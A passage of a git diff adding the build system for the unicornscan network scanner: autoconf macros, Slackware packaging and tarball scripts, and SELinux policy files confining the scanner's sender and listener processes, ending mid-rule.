the same +dnl $1 and different $2's or $5's may have different results. +ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+- %__p__%'` +AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var, +[ac_save_LIBS="$LIBS" +LIBS="-l$1 $5 $LIBS" +AC_TRY_LINK(dnl +ifelse([$2], [main], , dnl Avoid conflicting decl of main. +[/* Override any gcc2 internal prototype to avoid an error. */ +]ifelse(AC_LANG, CPLUSPLUS, [#ifdef __cplusplus +extern "C" +#endif +])dnl +[/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $2(); +]), + [$2()], + eval "ac_cv_lbl_lib_$ac_lib_var=yes", + eval "ac_cv_lbl_lib_$ac_lib_var=no") +LIBS="$ac_save_LIBS" +])dnl +if eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes"; then + AC_MSG_RESULT(yes) + ifelse([$3], , +[changequote(, )dnl + ac_tr_lib=HAVE_LIB`echo $1 | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` +changequote([, ])dnl + AC_DEFINE_UNQUOTED($ac_tr_lib) + LIBS="-l$1 $LIBS" +], [$3]) +else + AC_MSG_RESULT(no) +ifelse([$4], , , [$4 +])dnl +fi +]) + +dnl +dnl AC_LBL_LIBRARY_NET +dnl +dnl This test is for network applications that need socket() and +dnl gethostbyname() -ish functions. Under Solaris, those applications +dnl need to link with "-lsocket -lnsl". Under IRIX, they need to link +dnl with "-lnsl" but should *not* link with "-lsocket" because +dnl libsocket.a breaks a number of things (for instance: +dnl gethostbyname() under IRIX 5.2, and snoop sockets under most +dnl versions of IRIX). +dnl +dnl Unfortunately, many application developers are not aware of this, +dnl and mistakenly write tests that cause -lsocket to be used under +dnl IRIX. It is also easy to write tests that cause -lnsl to be used +dnl under operating systems where neither are necessary (or useful), +dnl such as SunOS 4.1.4, which uses -lnsl for TLI. +dnl +dnl This test exists so that every application developer does not test +dnl this in a different, and subtly broken fashion. + +dnl It has been argued that this test should be broken up into two +dnl seperate tests, one for the resolver libraries, and one for the +dnl libraries necessary for using Sockets API. Unfortunately, the two +dnl are carefully intertwined and allowing the autoconf user to use +dnl them independantly potentially results in unfortunate ordering +dnl dependancies -- as such, such component macros would have to +dnl carefully use indirection and be aware if the other components were +dnl executed. Since other autoconf macros do not go to this trouble, +dnl and almost no applications use sockets without the resolver, this +dnl complexity has not been implemented. +dnl +dnl The check for libresolv is in case you are attempting to link +dnl statically and happen to have a libresolv.a lying around (and no +dnl libnsl.a). +dnl +AC_DEFUN(AC_LBL_LIBRARY_NET, [ + # Most operating systems have gethostbyname() in the default searched + # libraries (i.e. libc): + # Some OSes (eg. Solaris) place it in libnsl + # Some strange OSes (SINIX) have it in libsocket: + AC_SEARCH_LIBS(gethostbyname, nsl socket resolv) + # Unfortunately libsocket sometimes depends on libnsl and + # AC_SEARCH_LIBS isn't up to the task of handling dependencies like this. + if test "$ac_cv_search_gethostbyname" = "no" + then + AC_CHECK_LIB(socket, gethostbyname, + LIBS="-lsocket -lnsl $LIBS", , -lnsl) + fi + AC_SEARCH_LIBS(socket, socket, , + AC_CHECK_LIB(socket, socket, LIBS="-lsocket -lnsl $LIBS", , -lnsl)) + # DLPI needs putmsg under HPUX so test for -lstr while we're at it + AC_SEARCH_LIBS(putmsg, str) + ]) + +dnl Copyright (c) 1999 WIDE Project. All rights reserved. +dnl +dnl Redistribution and use in source and binary forms, with or without +dnl modification, are permitted provided that the following conditions +dnl are met: +dnl 1. Redistributions of source code must retain the above copyright +dnl notice, this list of conditions and the following disclaimer. +dnl 2. Redistributions in binary form must reproduce the above copyright +dnl notice, this list of conditions and the following disclaimer in the +dnl documentation and/or other materials provided with the distribution. +dnl 3. Neither the name of the project nor the names of its contributors +dnl may be used to endorse or promote products derived from this software +dnl without specific prior written permission. +dnl +dnl THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND +dnl ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +dnl IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +dnl ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE +dnl FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +dnl DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +dnl OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +dnl HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +dnl LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +dnl OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +dnl SUCH DAMAGE. + +dnl +dnl Checks to see if AF_INET6 is defined +AC_DEFUN(AC_CHECK_AF_INET6, [ + AC_MSG_CHECKING(for AF_INET6) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include ], + [int a = AF_INET6], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes ; then + AC_DEFINE(HAVE_AF_INET6) + fi +]) + +dnl +dnl Checks to see if the sockaddr struct has the 4.4 BSD sa_len member +dnl borrowed from LBL libpcap +AC_DEFUN(AC_CHECK_SA_LEN, [ + AC_MSG_CHECKING(if sockaddr struct has sa_len member) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include ], + [u_int i = sizeof(((struct sockaddr *)0)->sa_len)], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes ; then + AC_DEFINE(HAVE_SOCKADDR_SA_LEN) + fi +]) + +dnl +dnl Checks for portable prototype declaration macro +AC_DEFUN(AC_CHECK_PORTABLE_PROTO, [ + AC_MSG_CHECKING(for __P) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include ], + [int f __P(())], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_PORTABLE_PROTOTYPE) + fi +]) + +dnl checks for u_intXX_t +AC_DEFUN(AC_CHECK_BITTYPES, [ + $1=yes +dnl check for u_int8_t + AC_MSG_CHECKING(for u_int8_t) + AC_CACHE_VAL(ac_cv_u_int8_t, + AC_TRY_COMPILE([ +# include ], + [u_int8_t i], + ac_cv_u_int8_t=yes, + ac_cv_u_int8_t=no)) + AC_MSG_RESULT($ac_cv_u_int8_t) + if test $ac_cv_u_int8_t = yes; then + AC_DEFINE(HAVE_U_INT8_T) + else + $1=no + fi +dnl check for u_int16_t + AC_MSG_CHECKING(for u_int16_t) + AC_CACHE_VAL(ac_cv_u_int16_t, + AC_TRY_COMPILE([ +# include ], + [u_int16_t i], + ac_cv_u_int16_t=yes, + ac_cv_u_int16_t=no)) + AC_MSG_RESULT($ac_cv_u_int16_t) + if test $ac_cv_u_int16_t = yes; then + AC_DEFINE(HAVE_U_INT16_T) + else + $1=no + fi +dnl check for u_int32_t + AC_MSG_CHECKING(for u_int32_t) + AC_CACHE_VAL(ac_cv_u_int32_t, + AC_TRY_COMPILE([ +# include ], + [u_int32_t i], + ac_cv_u_int32_t=yes, + ac_cv_u_int32_t=no)) + AC_MSG_RESULT($ac_cv_u_int32_t) + if test $ac_cv_u_int32_t = yes; then + AC_DEFINE(HAVE_U_INT32_T) + else + $1=no + fi +]) + +dnl +dnl Checks for addrinfo structure +AC_DEFUN(AC_STRUCT_ADDRINFO, [ + AC_MSG_CHECKING(for addrinfo) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include ], + [struct addrinfo a], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_ADDRINFO) + else + AC_DEFINE(NEED_ADDRINFO_H) + fi +]) + +dnl +dnl Checks for NI_MAXSERV +AC_DEFUN(AC_NI_MAXSERV, [ + AC_MSG_CHECKING(for NI_MAXSERV) + AC_CACHE_VAL($1, + AC_EGREP_CPP(yes, [#include +#ifdef NI_MAXSERV +yes +#endif], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 != yes; then + AC_DEFINE(NEED_ADDRINFO_H) + fi +]) + +dnl +dnl Checks for NI_NAMEREQD +AC_DEFUN(AC_NI_NAMEREQD, [ + AC_MSG_CHECKING(for NI_NAMEREQD) + AC_CACHE_VAL($1, + AC_EGREP_CPP(yes, [#include +#ifdef NI_NOFQDN +yes +#endif], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 != yes; then + AC_DEFINE(NEED_ADDRINFO_H) + fi +]) + +dnl +dnl Checks for sockaddr_storage structure +AC_DEFUN(AC_STRUCT_SA_STORAGE, [ + AC_MSG_CHECKING(for sockaddr_storage) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include ], + [struct sockaddr_storage s], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_SOCKADDR_STORAGE) + fi +]) + +dnl +dnl Checks for macro of IP address size +AC_DEFUN(AC_CHECK_ADDRSZ, [ + $1=yes +dnl check for INADDRSZ + AC_MSG_CHECKING(for INADDRSZ) + AC_CACHE_VAL(ac_cv_inaddrsz, + AC_TRY_COMPILE([ +# include ], + [int a = INADDRSZ], + ac_cv_inaddrsz=yes, + ac_cv_inaddrsz=no)) + AC_MSG_RESULT($ac_cv_inaddrsz) + if test $ac_cv_inaddrsz = yes; then + AC_DEFINE(HAVE_INADDRSZ) + else + $1=no + fi +dnl check for IN6ADDRSZ + AC_MSG_CHECKING(for IN6ADDRSZ) + AC_CACHE_VAL(ac_cv_in6addrsz, + AC_TRY_COMPILE([ +# include ], + [int a = IN6ADDRSZ], + ac_cv_in6addrsz=yes, + ac_cv_in6addrsz=no)) + AC_MSG_RESULT($ac_cv_in6addrsz) + if test $ac_cv_in6addrsz = yes; then + AC_DEFINE(HAVE_IN6ADDRSZ) + else + $1=no + fi +]) + +dnl +dnl check for RES_USE_INET6 +AC_DEFUN(AC_CHECK_RES_USE_INET6, [ + AC_MSG_CHECKING(for RES_USE_INET6) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include +# include ], + [int a = RES_USE_INET6], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_RES_USE_INET6) + fi +]) + +dnl +dnl check for AAAA +AC_DEFUN(AC_CHECK_AAAA, [ + AC_MSG_CHECKING(for AAAA) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include ], + [int a = T_AAAA], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_AAAA) + fi +]) + +dnl +dnl check for struct res_state_ext +AC_DEFUN(AC_STRUCT_RES_STATE_EXT, [ + AC_MSG_CHECKING(for res_state_ext) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include +# include +# include ], + [struct __res_state_ext e], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_RES_STATE_EXT) + fi +]) + +dnl +dnl check for struct res_state_ext +AC_DEFUN(AC_STRUCT_RES_STATE, [ + AC_MSG_CHECKING(for nsort in res_state) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include +# include +# include ], + [struct __res_state e; e.nsort = 0], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_NEW_RES_STATE) + fi +]) + +dnl +dnl check for h_errno +AC_DEFUN(AC_VAR_H_ERRNO, [ + AC_MSG_CHECKING(for h_errno) + AC_CACHE_VAL(ac_cv_var_h_errno, + AC_TRY_COMPILE([ +# include +# include ], + [int foo = h_errno;], + ac_cv_var_h_errno=yes, + ac_cv_var_h_errno=no)) + AC_MSG_RESULT($ac_cv_var_h_errno) + if test "$ac_cv_var_h_errno" = "yes"; then + AC_DEFINE(HAVE_H_ERRNO) + fi +]) + +dnl +dnl Test for __attribute__ +dnl + +AC_DEFUN(AC_C___ATTRIBUTE__, [ +AC_MSG_CHECKING(for __attribute__) +AC_CACHE_VAL(ac_cv___attribute__, [ +AC_TRY_COMPILE([ +#include +], +[ +static void foo(void) __attribute__ ((noreturn)); + +static void +foo(void) +{ + exit(1); +} +], +ac_cv___attribute__=yes, +ac_cv___attribute__=no)]) +if test "$ac_cv___attribute__" = "yes"; then + AC_DEFINE(HAVE___ATTRIBUTE__, 1, [define if your compiler has __attribute__]) + V_DEFS="$V_DEFS -D_U_=\"__attribute__((unused))\"" +else + V_DEFS="$V_DEFS -D_U_=\"\"" +fi +AC_MSG_RESULT($ac_cv___attribute__) +]) diff --git a/m4/unim4.m4 b/m4/unim4.m4 new file mode 100644 index 0000000..76cf573 --- /dev/null +++ b/m4/unim4.m4 @@ -0,0 +1,173 @@ +dnl --> insert something meaningfull here <-- + +AC_DEFUN(AC_UNI_SELINUX, [ +shlibs=".la" + +AC_MSG_CHECKING(for selinux) +default_selinux_directories="/usr /usr/local /usr/local/selinux" +AC_ARG_WITH(selinux, +[ --with-selinux=PREFIX find selinux headers and libs in this PREFIX], +[lookin="$withval"], +[lookin="$default_selinux_directories"]) + +if test "$lookin" = "yes"; then + lookin="$default_selinux_directories" +fi + +good=no +for g in $lookin; do + if test -r "$g/include/selinux/selinux.h"; then + SELINUXINC=$g + AC_MSG_RESULT(yes, found inside $g) + good=yes + break + fi +done +if test $good = "yes"; then + dnl now check its accually enabled, due to the large number of systems with it only installed + dnl obviously this doesnt work for cross compile XXX + AC_MSG_CHECKING(checking that selinux is enforcing) + enforce=0 + if test -r /selinux/enforce; then + enforce=`cat /selinux/enforce` + fi + if test $enforce = 1; then + CHCON=chcon + SP_MODE=4511 + UNILDADD="${UNILDADD} -lselinux" + shlibs=".so" + AC_DEFINE(WITH_SELINUX) + AC_MSG_RESULT(yes, sender and listener will be setuid root) + else + CHCON=true + SP_MODE=755 + AC_MSG_RESULT(no, selinux is not enforcing, ignoring it) + fi +else + CHCON=true + SP_MODE=755 + AC_MSG_RESULT(no) +fi + +AC_SUBST(CHCON) +AC_SUBST(SP_MODE) +AC_DEFINE_UNQUOTED(SHLIB_EXT, "$shlibs") +]) + +AC_DEFUN(AC_UNI_PRNG, [ +AC_MSG_CHECKING(for a readable prng device) +default_prng_paths="/dev/urandom /etc/random /dev/egd-pool" +AC_ARG_WITH(prng, +[ --with-prng=PATH Use random number generator specificed by PATH], +[lookat="$withval"], +[lookat="$default_prng_paths"]) + +if test "$lookat" = "yes"; then + lookat="$default_prng_paths" +fi + +good=no +for g in $lookat; do + if test -c "$g" + then + AC_DEFINE_UNQUOTED(RANDOM_DEVICE, "$g") + AC_MSG_RESULT(yes found at $g) + good=yes + break + elif test -S "$g" + then + AC_DEFINE_UNQUOTED(RANDOM_DEVICE, "$g") + AC_MSG_RESULT(yes found at $g) + good=yes + break + fi +done + +if test $good = "no"; then + AC_MSG_WARN(cant find a working random number generator, will try and make due) + AC_DEFINE(RANDOM_DEVICE, "") +fi +AC_SUBST(RANDOM_DEVICE) +]) + +AC_DEFUN(AC_UNI_LIBDNET, [ +AC_MSG_CHECKING(for libdnet) +default_libdnet_directories="/usr /usr/local" +lookin=$default_libdnet_directories +AC_ARG_WITH(libdnet, +[ --with-libdnet=PREFIX use already installed libdnet in PREFIX +], +[ +case "$dnet_pfx" in +no) + lookin="" + ;; +yes) + lookin=$default_libdnet_directories + ;; +*) + lookin=$dnet_pfx + ;; +esac +]) +good=no +if test "$lookin"; then + for g in $lookin; do + if test -x "$g/bin/dnet-config"; then + DNETLIBS=`$g/bin/dnet-config --libs` + DNETCFLG=`$g/bin/dnet-config --cflags` + AC_MSG_RESULT(yes, found inside $g) + good=yes + break + fi + done +fi +if test $good = "no"; then + NEED_AUX_LIBS="${NEED_AUX_LIBS} libdnet" + DNETLIBS="" + DNETCFLG="" + AC_MSG_RESULT(no, using supplied version) +fi +AC_SUBST(DNETCFLG) +AC_SUBST(DNETLIBS) +]) + +dnl find /proc/net/route or just give up and cry +AC_DEFUN(AC_UNI_PROCNETROUTE, [ +AC_MSG_CHECKING(for a readable /proc/net/route file) +if test -r /proc/net/route; then + AC_DEFINE(HAVE_PROC_NET_ROUTE) + AC_MSG_RESULT(Yes) +else + AC_MSG_RESULT(No) +fi +], +[]) + +dnl find pcap, or just make it +AC_DEFUN(AC_UNI_LIBPCAP, [ +AC_MSG_CHECKING(for libpcap (http://www.tcpdump.org)) +AC_CHECK_LIB(pcap, pcap_open_live,[ + AC_MSG_CHECKING(for pcap_lib_version) + AC_CHECK_LIB(pcap, pcap_lib_version, AC_DEFINE(HAVE_PCAP_LIB_VERSION), []) + AC_MSG_CHECKING(for pcap_setnonblock) + AC_CHECK_LIB(pcap, pcap_setnonblock, AC_DEFINE(HAVE_PCAP_SET_NONBLOCK), []) + AC_CHECK_LIB(pcap, pcap_get_selectable_fd, [], +[ + AC_DEFINE(HAVE_PCAP_LIB_VERSION) + AC_DEFINE(HAVE_PCAP_SET_NONBLOCK) + NEED_AUX_LIBS="${NEED_AUX_LIBS} pcap" +] + ) +], +[NEED_AUX_LIBS="${NEED_AUX_LIBS} pcap" +AC_DEFINE(HAVE_PCAP_LIB_VERSION) +AC_DEFINE(HAVE_PCAP_SET_NONBLOCK)]) +]) + +AC_DEFUN(AC_UNI_LIBLTDL, [ +AC_MSG_CHECKING(for libltdl) +AC_CHECK_LIB(ltdl, lt_dlopen, [], [ +NEED_AUX_LIBS="${NEED_AUX_LIBS} libltdl" +]) +]) diff --git a/scripts/_auto.sh b/scripts/_auto.sh new file mode 100755 index 0000000..748953c --- /dev/null +++ b/scripts/_auto.sh @@ -0,0 +1,5 @@ +#!/bin/sh + +rm -f configure aclocal.m4 +for g in `ls m4/*.m4`; do cat $g >> aclocal.m4; done && autoconf +rm -rf Makefile Makefile.inc autom4te.cache confdefs.h config.log config.status diff --git a/scripts/mksamhainpkg b/scripts/mksamhainpkg new file mode 100755 index 0000000..4e7597e --- /dev/null +++ b/scripts/mksamhainpkg @@ -0,0 +1,62 @@ +#!/bin/sh -x + +# when release version is 1.0 then change true to strip +strip=true + +case $0 in +*samhain*) + dist=samhain + selinux=yes + ;; +*slack*) + dist=slackware + selinux=no + ;; +*) + echo unknown distro + exit 1 + ;; +esac + +# a safe location +PKGBDIR=`pwd`/stage + +export dist selinux strip PKGBDIR + +mkdir -p packages/${dist} + +rm -rf $PKGBDIR && mkdir -m 755 $PKGBDIR 2>/dev/null + +if [ ! -f src/${dist}build ] +then + rm src/*build + CFLAGS="-march=i486 -mcpu=i686 -O2 -g" ./configure --prefix=/usr --mandir=/usr/man --sysconfdir=/etc --localstatedir=/var --with-selinux=$selinux --with-libdnet=no --enable-bundled-ltdl --enable-static=no i486-${dist}-linux + make clean && make + touch src/${dist}build +fi + +VERSION=`grep "#define VERSION" src/packageinfo.h | awk '{print $3}' | sed 's/"//g'` + +DESTDIR=$PKGBDIR make install + +find $PKGBDIR/usr/man -name "*.[1-9]" -exec gzip -9 {} \; +find $PKGBDIR/usr/lib/unicornscan -name "*.a" -exec rm {} \; +(cd $PKGBDIR +chgrp bin usr/bin +cd usr/bin && $strip * && chown root:bin * +) + +(cd $PKGBDIR +cd usr/libexec/unicornscan && $strip uni* +) + +(cd $PKGBDIR +mkdir install && cat < install/slack-desc +unicornscan: unicornscan +unicornscan: +unicornscan: unicornscan is an enhanced network scanning utility +unicornscan: +unicornscan: +EOF +makepkg -l y -c n ../packages/${dist}/unicornscan-${VERSION}-i486-1.tgz +) diff --git a/scripts/mkslackpkg b/scripts/mkslackpkg new file mode 100755 index 0000000..4e7597e --- /dev/null +++ b/scripts/mkslackpkg @@ -0,0 +1,62 @@ +#!/bin/sh -x + +# when release version is 1.0 then change true to strip +strip=true + +case $0 in +*samhain*) + dist=samhain + selinux=yes + ;; +*slack*) + dist=slackware + selinux=no + ;; +*) + echo unknown distro + exit 1 + ;; +esac + +# a safe location +PKGBDIR=`pwd`/stage + +export dist selinux strip PKGBDIR + +mkdir -p packages/${dist} + +rm -rf $PKGBDIR && mkdir -m 755 $PKGBDIR 2>/dev/null + +if [ ! -f src/${dist}build ] +then + rm src/*build + CFLAGS="-march=i486 -mcpu=i686 -O2 -g" ./configure --prefix=/usr --mandir=/usr/man --sysconfdir=/etc --localstatedir=/var --with-selinux=$selinux --with-libdnet=no --enable-bundled-ltdl --enable-static=no i486-${dist}-linux + make clean && make + touch src/${dist}build +fi + +VERSION=`grep "#define VERSION" src/packageinfo.h | awk '{print $3}' | sed 's/"//g'` + +DESTDIR=$PKGBDIR make install + +find $PKGBDIR/usr/man -name "*.[1-9]" -exec gzip -9 {} \; +find $PKGBDIR/usr/lib/unicornscan -name "*.a" -exec rm {} \; +(cd $PKGBDIR +chgrp bin usr/bin +cd usr/bin && $strip * && chown root:bin * +) + +(cd $PKGBDIR +cd usr/libexec/unicornscan && $strip uni* +) + +(cd $PKGBDIR +mkdir install && cat < install/slack-desc +unicornscan: unicornscan +unicornscan: +unicornscan: unicornscan is an enhanced network scanning utility +unicornscan: +unicornscan: +EOF +makepkg -l y -c n ../packages/${dist}/unicornscan-${VERSION}-i486-1.tgz +) diff --git a/scripts/tarup.sh b/scripts/tarup.sh new file mode 100755 index 0000000..7749f94 --- /dev/null +++ b/scripts/tarup.sh @@ -0,0 +1,54 @@ +#!/bin/sh + +export PKNAME=`basename $(pwd)` + +./scripts/_auto.sh + +date > tstamp + +corefl=`find . -name "*core*" -print` +if [ "x${corefl}" != "x" ] +then + echo + echo "found core file(s)" + echo "## $corefl ##" + echo + exit +fi + +objfl=`find . \( -name "*.la" -o -name "*.o" -o -name "*.a" -o -name "*.so" -o -name "*.lo" \) -print` +if [ "x${objfl}" != "x" ] +then + echo + echo "found object file(s)" + echo "## $objfl ##" + echo + exit +fi + +find . -exec touch {} \; -print + +(cd src/parse && bison -d -puu parse.y && flex -sB -Puu parse.l) + +sescrsh=`find . -name ".*.swp" -print` +if [ "x${sescrsh}" != "x" ] +then + echo + echo review crashed vi session + echo \#\# $sescrsh \#\# + echo + exit +fi + +if [ "x${1}" = "xclean" ] +then + exit +fi + +(cd .. +if [ -f ${PKNAME}.tar.gz ] +then + mv ${PKNAME}.tar.gz ${PKNAME}.tar.gz.old +fi +tar -cvf - ./${PKNAME} | gzip -c9 > ${PKNAME}.tar.gz +) diff --git a/selinux/Makefile.in b/selinux/Makefile.in new file mode 100644 index 0000000..697217c --- /dev/null +++ b/selinux/Makefile.in @@ -0,0 +1,21 @@ +include ../Makefile.inc + +all: unicornscan.fc.in + cat unicornscan.fc.in | sed -e "s,@BINDIR@,$(bindir),g" -e "s,@LIBEXECDIR@,$(libexecdir),g" \ + -e "s,@SYSCONFDIR@,$(sysconfdir),g" -e "s,@LIBDIR@,$(libdir),g" -e "s,@LOCALSTATEDIR@,$(localstatedir),g" \ + > unicornscan.fc + +clean: + rm -f unicornscan.fc + +relabel: all + setfiles unicornscan.fc $(sysconfdir)/unicornscan + setfiles unicornscan.fc $(bindir)/{unicornscan,unicycle,unibrow,fantaip} + setfiles unicornscan.fc $(libdir)/unicornscan + setfiles unicornscan.fc $(libexecdir)/unicornscan + setfiles unicornscan.fc $(localstatedir)/unicornscan + +distclean: clean + +install: +uninstall: diff --git a/selinux/README b/selinux/README new file mode 100644 index 0000000..e69de29 diff --git a/selinux/install b/selinux/install new file mode 100755 index 0000000..810b2c5 --- /dev/null +++ b/selinux/install @@ -0,0 +1,8 @@ +#!/bin/sh -x + +cat unicornscan_macros.te > /etc/security/selinux/src/policy/macros/program/unicornscan_macros.te +cat unicornscan.te > /etc/security/selinux/src/policy/domains/program/unicornscan.te +cat unicornscan.fc > /etc/security/selinux/src/policy/file_contexts/program/unicornscan.fc + +(cd /etc/security/selinux/src/policy && make reload) +make relabel diff --git a/selinux/unicornscan.fc.in b/selinux/unicornscan.fc.in new file mode 100644 index 0000000..fc53fcb --- /dev/null +++ b/selinux/unicornscan.fc.in @@ -0,0 +1,11 @@ +# unicornscan +@BINDIR@/unicornscan -- system_u:object_r:unicornscan_exec_t +@BINDIR@/fantaip -- system_u:object_r:netutils_exec_t +@BINDIR@/unicycle -- system_u:object_r:netutils_exec_t +@LIBEXECDIR@/unicornscan(/.*)? -- system_u:object_r:usr_t +@LIBDIR@/unicornscan(/.*)? -- system_u:object_r:lib_t +@LIBEXECDIR@/unicornscan/unilisten -- system_u:object_r:unilisten_exec_t +@LIBEXECDIR@/unicornscan/unisend -- system_u:object_r:unisend_exec_t +@LIBDIR@/unicornscan/modules/[a-z0-9]*\.so -- system_u:object_r:shlib_t +@SYSCONFDIR@/unicornscan(/.*)? -- system_u:object_r:unicornscan_share_t +@LOCALSTATEDIR@/unicornscan(/.*)? -- system_u:object_r:unicornscan_var_t diff --git a/selinux/unicornscan.te b/selinux/unicornscan.te new file mode 100644 index 0000000..1c2ecfa --- /dev/null +++ b/selinux/unicornscan.te @@ -0,0 +1,21 @@ +#DESC unicornscan - Network scanning +# +# Authors: Jack + +# +# Rules for the unicornscan_t domain. +# +type unicornscan_exec_t, file_type, sysadmfile, exec_type; +type unisend_exec_t, file_type, sysadmfile, exec_type; +type unilisten_exec_t, file_type, sysadmfile, exec_type; + +type unicornscan_share_t, file_type, sysadmfile; +type unicornscan_log_t, file_type, sysadmfile; +type unicornscan_var_t, file_type, sysadmfile; +# unix domain sockets +type unicornscan_ipc_t, file_type, sysadmfile; + +type unicornscan_port_t, port_type; + +# remind me to change the combination on my luggage +#portcon tcp 1234 system_u:object_r:unicornscan_port_t diff --git a/selinux/unicornscan_macros.te b/selinux/unicornscan_macros.te new file mode 100644 index 0000000..073935e --- /dev/null +++ b/selinux/unicornscan_macros.te @@ -0,0 +1,306 @@ +# +# Macros for the unicornscan domains. +# + +# +# Authors: Jack +# this is not current, or done (some of the template was STOLEN from crontab, if you cant tell) +# + +# +# unicornscan_domain(domain_prefix) +# +# Define a derived domain for the unicornscan programs when executed by +# a user domain. +# +# The type declaration for the executable type for this program is +# provided separately in domains/program/unicornscan.te. +# +undefine(`unicornscan_domain') + +define(`unicornscan_domain',` +# Derived domain based on the calling user domain and the program. +# master thread, execs 2 helpers +type $1_unicornscan_t, domain, privlog; +# this sends with a raw socket +type $1_unisend_t, domain, privlog; +# this listens for responses +type $1_unilisten_t, domain, privlog; + +# per derived domain audit trail +type $1_unicornscan_log_t, file_type, sysadmfile; + +# save pcaps inside directories labeled with this +type $1_unicornscan_rw_t, file_type, sysadmfile; + +# Transition from the user domain to the derived domain. +domain_auto_trans($1_t, unicornscan_exec_t, $1_unicornscan_t) + +# the helper programs should never be executed directly. +domain_auto_trans($1_unicornscan_t, unisend_exec_t, $1_unisend_t) +domain_auto_trans($1_unicornscan_t, unilisten_exec_t, $1_unilisten_t) + +# audit trail for derived domain +file_type_auto_trans($1_unicornscan_t, unicornscan_log_t, $1_unicornscan_log_t) + +# allow user to view config files at least read-only +allow $1_t unicornscan_share_t:dir r_dir_perms; +allow $1_t unicornscan_share_t:file r_file_perms; + +allow $1_unicornscan_t lib_t:file { getattr read }; +allow $1_unisend_t lib_t:file { getattr read }; + +# for Ctrl-C +allow $1_t $1_unicornscan_t:process signal; + +# self termination +allow $1_unicornscan_t self:process { signal fork }; +allow $1_unisend_t self:process { signal }; +allow $1_unilisten_t self:process { signal }; +allow $1_unilisten_t self:capability { kill }; +allow $1_unisend_t self:capability { kill }; + +# children signaling parent +allow $1_unilisten_t $1_unicornscan_t:process { signal }; +allow $1_unisend_t $1_unicornscan_t:process { signal }; + +# urandom reading for seeding prng +allow $1_unicornscan_t urandom_device_t:chr_file r_file_perms; +allow $1_unisend_t urandom_device_t:chr_file r_file_perms; +allow $1_unilisten_t urandom_device_t:chr_file r_file_perms; + +# dns and/or net ioctls +allow $1_unicornscan_t $1_unicornscan_t:udp_socket { create connect write read create ioctl getattr }; +allow $1_unicornscan_t $1_unicornscan_t:unix_stream_socket { create connect setopt shutdown write read }; +allow $1_unilisten_t $1_unilisten_t:udp_socket { ioctl create connect read write }; +allow $1_unicornscan_t netif_t:netif { udp_send udp_recv }; +allow $1_unicornscan_t netif_eth0_t:netif { udp_send udp_recv }; +allow $1_unicornscan_t node_t:node { udp_send udp_recv }; +allow $1_unicornscan_t dns_port_t:udp_socket { send_msg recv_msg }; +allow $1_unicornscan_t netif_lo_t:netif { udp_send udp_recv }; +allow $1_unicornscan_t $1_unicornscan_t:file { read }; +allow $1_unicornscan_t net_conf_t:file { getattr read }; + +allow $1_unilisten_t net_conf_t:file { getattr read }; +allow $1_unisend_t net_conf_t:file { getattr read }; + +allow $1_unicornscan_t unicornscan_port_t:tcp_socket name_bind; +allow $1_unicornscan_t node_lo_t:tcp_socket node_bind; +allow $1_unicornscan_t self:tcp_socket { listen accept }; + + + +# XXX +allow $1_unicornscan_t $1_unicornscan_t:dir { search }; +allow $1_unicornscan_t $1_unicornscan_t:file { getattr }; + +# yah +allow $1_unilisten_t $1_unilisten_t:file { read getattr }; +allow $1_unisend_t $1_unisend_t:file { read getattr }; + +# write pcap save files +allow $1_unicornscan_t $1_home_t:dir { search }; +allow $1_unicornscan_t $1_home_dir_t:dir { search }; +allow $1_unicornscan_t tmp_t:dir { search }; + +# XXX pass the fd from unicornscan to unilisten to avoid this mess +allow $1_unilisten_t tmp_t:dir { search }; +allow $1_unilisten_t $1_home_t:dir { search }; +allow 